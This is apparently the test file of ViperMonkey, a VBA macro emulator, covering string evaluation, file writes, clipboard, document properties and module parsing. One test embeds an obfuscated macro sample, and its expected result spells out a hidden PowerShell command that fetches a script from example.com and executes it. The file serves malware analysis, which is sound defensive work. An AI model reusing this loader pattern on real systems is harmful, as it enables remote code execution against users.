def test_reporting_actions(): vba_code = dedent(r''' Public Function Execute() As Variant Dim m1, m2, m3, m4 As String m1 = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " " & "-" & "w" & " " & "h" & "i" & "d" & "d" & "e" m2 = "n" & " -" & "e" & "x" & "e" & "c" & " b" & "y" & "p" & "a" & "s" & "s " & "-" & "c " & Chr(34) m3 = "$a" & "=" & "Invoke" & "-" & "We" & "bRequest" & " ww" & "w.example.com" & "/" & "scr" & "ipt.txt" m4 = "; " & "Inv" & "ok" & "e-Expr" & "ession " & "$" & "a" & Chr(34) & "" Shell m1 & m2 & m3 & m4, vbHide WinExec "wscript powershell.exe -x run.ps1", 0 End Function Execute ''') context = vipermonkey.Context() vipermonkey.eval(vba_code, context=context) print dict(context.actions) assert dict(context.actions) == { 'Shell function': [ ('Execute Command', 'powershell -w hidden -exec bypass -c ' '"$a=Invoke-WebRequest www.example.com/script.txt; Invoke-Expression $a"')], 'Interesting Function Call': [('WinExec', ['wscript powershell.exe -x run.ps1', 0])], 'Interesting Command Execution': [('Run', 'wscript powershell.exe -x run.ps1')], }
def test_add(): """Tests Add() function""" context = vipermonkey.Context() context['my_dict'] = {'a': 1, 'b': 2} vipermonkey.eval('my_dict.Add("c", 3)', context) assert context['my_dict'] == {'a': 1, 'b': 2, 'c': 3}
def test_doc_vars(): """Tests calls to retrieve document properties.""" context = vipermonkey.Context() context.doc_vars['subject'] = 'test Subject' assert vipermonkey.eval( 'ActiveDocument.BuiltInDocumentProperties("Subject")', context) == 'test Subject' assert vipermonkey.eval('ActiveDocument.variables("subject")', context) == 'test Subject'
def test_file_close(): """Tests close of file object foo.Close()""" context = vipermonkey.Context() context.open_file('test.txt') context.write_file('test.txt', b'data') assert not context.closed_files # vipermonkey closes the last open file vipermonkey.eval('foo.Close()', context) assert context.closed_files == {'test.txt': b'data'}
def test_application_run(): """Tests functions called with Application.Run()""" context = vipermonkey.Context() vipermonkey.eval('Application.Run(WinExec, "powershell.exe test.ps1")', context) assert context.actions == { # FIXME: Application.Run from VBALibraryFuncs doesn't get called for some reason. # 'Interesting Function Call': [('Run', 'WinExec')], 'Interesting Command Execution': [('Run', 'powershell.exe test.ps1')] }
def test_eval_with_context(): vba_code = dedent(''' Dim m1, m2, m3, result As String m1 = "he" & "ll" & Chr(111) & " " m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31) m3 = "!!!" result = m1 & m2 & m3 ''') context = vipermonkey.Context() vipermonkey.eval(vba_code, context=context) assert context.locals == {'m1': 'hello ', 'result': 'hello world!!!', 'm3': '!!!', 'm2': 'world'} assert context['result'] == 'hello world!!!'
def test_clipboard(): """Tests calls to setData() and getData() clipboard.""" context = vipermonkey.Context() assert '** CLIPBOARD **' not in context assert vipermonkey.eval('objHTML.ParentWindow.clipboardData.getData()', context) is None assert vipermonkey.eval( 'objHTML.ParentWindow.clipboardData.setData(None, "test data")', context) is True assert '** CLIPBOARD **' in context.globals assert context['** CLIPBOARD **'] == 'test data' assert vipermonkey.eval('objHTML.ParentWindow.clipboardData.getData()', context) == 'test data'
def test_text_file_read(tmpdir): """Tests OpenTextFile(...).ReadAll() calls.""" test_file = tmpdir / 'test.txt' test_file.write('this is test data') assert vipermonkey.eval('fs.OpenTextFile("{!s}").ReadAll()'.format( test_file)) == 'this is test data' # It should also work when the drive is uppercase. # (see note in _handle_text_file_read()) test_file = str(test_file) if test_file.startswith('c:'): test_file = 'C:' + test_file[2:] assert vipermonkey.eval('fs.OpenTextFile("{!s}").ReadAll()'.format( test_file)) == 'this is test data'
def test_paragraphs(): """Tests references to the .Paragraphs field of the current doc.""" context = vipermonkey.Context() context['ActiveDocument.Paragraphs'] = 'PARAGRAPH OBJECT' assert vipermonkey.eval('ActiveDocument.Paragraphs', context) == 'PARAGRAPH OBJECT' parsed = simple_statement.parseString('ActiveDocument.Paragraphs')[0] assert type(parsed) == Call_Statement assert type(parsed.name) == MemberAccessExpression assert parsed.eval(context) == 'PARAGRAPH OBJECT' # Having "ActiveDocument" is not required. parsed = simple_statement.parseString('something_else.Paragraphs')[0] assert type(parsed) == Call_Statement assert type(parsed.name) == MemberAccessExpression assert parsed.eval(context) == 'PARAGRAPH OBJECT' # Doesn't work if not last entry. parsed = simple_statement.parseString('ActiveDocument.Paragraphs.Count')[0] assert type(parsed) == Call_Statement assert type(parsed.name) == MemberAccessExpression assert parsed.name.eval(context) == 'ActiveDocument.Paragraphs.Count' parsed = simple_statement.parseString('r = ActiveDocument.Paragraphs')[0] assert type(parsed) == Let_Statement assert type(parsed.expression) == MemberAccessExpression assert parsed.expression.eval(context) == 'PARAGRAPH OBJECT'
def test_module(): """Tests Module interaction.""" # Test iterating functions. vba_code = dedent(''' Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Sub Document_Open() On Error Resume Next Dim message As String message = PrintHello("Jamie") MsgBox message End Sub Function PrintHello(person As String) As String Dim m1 As String m1 = "he" & "ll" & Chr(111) & " " PrintHello = m1 & person End Function ''') module = vipermonkey.Module(vba_code) assert sorted(proc.name for proc in module.procedures) == ['Document_Open', 'PrintHello'] # Test iterating code_blocks. expected_code_blocks = [ (Attribute_Statement, 'Attribute VB_Name = "ThisDocument"\n'), (Attribute_Statement, 'Attribute VB_Base = "1Normal.ThisDocument"\n'), (Sub, dedent('''\ Sub Document_Open() On Error Resume Next Dim message As String message = PrintHello("Jamie") MsgBox message End Sub ''')), (Function, dedent('''\ Function PrintHello(person As String) As String Dim m1 As String m1 = "he" & "ll" & Chr(111) & " " PrintHello = m1 & person End Function ''')) ] for (expected_type, expected_code), code_block in zip(expected_code_blocks, module.code_blocks): assert code_block.type == expected_type assert str(code_block) == expected_code # Test evaluating directly with code_blocks for code_block in module.code_blocks: if code_block.type == vipermonkey.Function and code_block.name == 'PrintHello': assert code_block.eval(params=['Bob']) == 'hello Bob' break else: pytest.fail('Failed to find PrintHello() function.') # Test evaluating using prefilled context. context = vipermonkey.Context() module.load_context(context) assert vipermonkey.eval('PrintHello("Bob")', context=context) == 'hello Bob'
def test_file_extraction(): vba_code = dedent(r''' Sub WriteFile(data As String) Dim a, b, c As String a = "Scr" b = "ipting" & Chr(46) & "FileSy" c = "st" & Chr(69) & "mObject" Dim fso As Object Set fso = CreateObject(a & b & c) Dim Fileout As Object Dim url As String url = "c:\users\public\" & "documents\hello.txt" Set Fileout = fso.CreateTextFile(url, True, True) Fileout.Write data Fileout.Close End Sub WriteFile("This " & "is some" & " file data!") ''') context = vipermonkey.Context() vipermonkey.eval(vba_code, context=context) assert context.open_files == {} assert context.closed_files == {'c:\\users\\public\\documents\\hello.txt': 'This is some file data!'}
def test_basic_eval(): assert vipermonkey.eval('2') == 2 assert vipermonkey.eval('2 + 2') == 4 assert vipermonkey.eval('Chr(36)') == '$' assert vipermonkey.eval('"w" & Chr(111) & "rl" & Chr(123 Xor 31)') == 'world' assert vipermonkey.eval('Chr(71 Xor 18) & "2" & Chr(84 Xor 19)') == 'U2G' vba_code = dedent(''' Dim m1, m2, m3 As String m1 = "he" & "ll" & Chr(111) & " " m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31) m3 = "!!!" m1 & m2 & m3 ''') assert vipermonkey.eval(vba_code) == 'hello world!!!'
def test_oslanguage(): """Tests references to the OSlanguage field.""" context = vipermonkey.Context() context['oslanguage'] = 'Spanish' assert vipermonkey.eval('OS.OSLanguage', context) == 'Spanish'
def test_adodb_writes(): """Tests expression like "foo.Write(...)" where foo = "ADODB.Stream" """ context = vipermonkey.Context() vipermonkey.eval('CreateObject("ADODB.Stream").Write("this is test data")', context) assert context.open_files == {'ADODB.Stream': 'this is test data'}
def test_replace(): """Tests string replaces of the form foo.Replace(bar, baz)""" assert vipermonkey.eval('foo.Replace("replace foo with bar", "foo", "bar")' ) == 'replace bar with bar'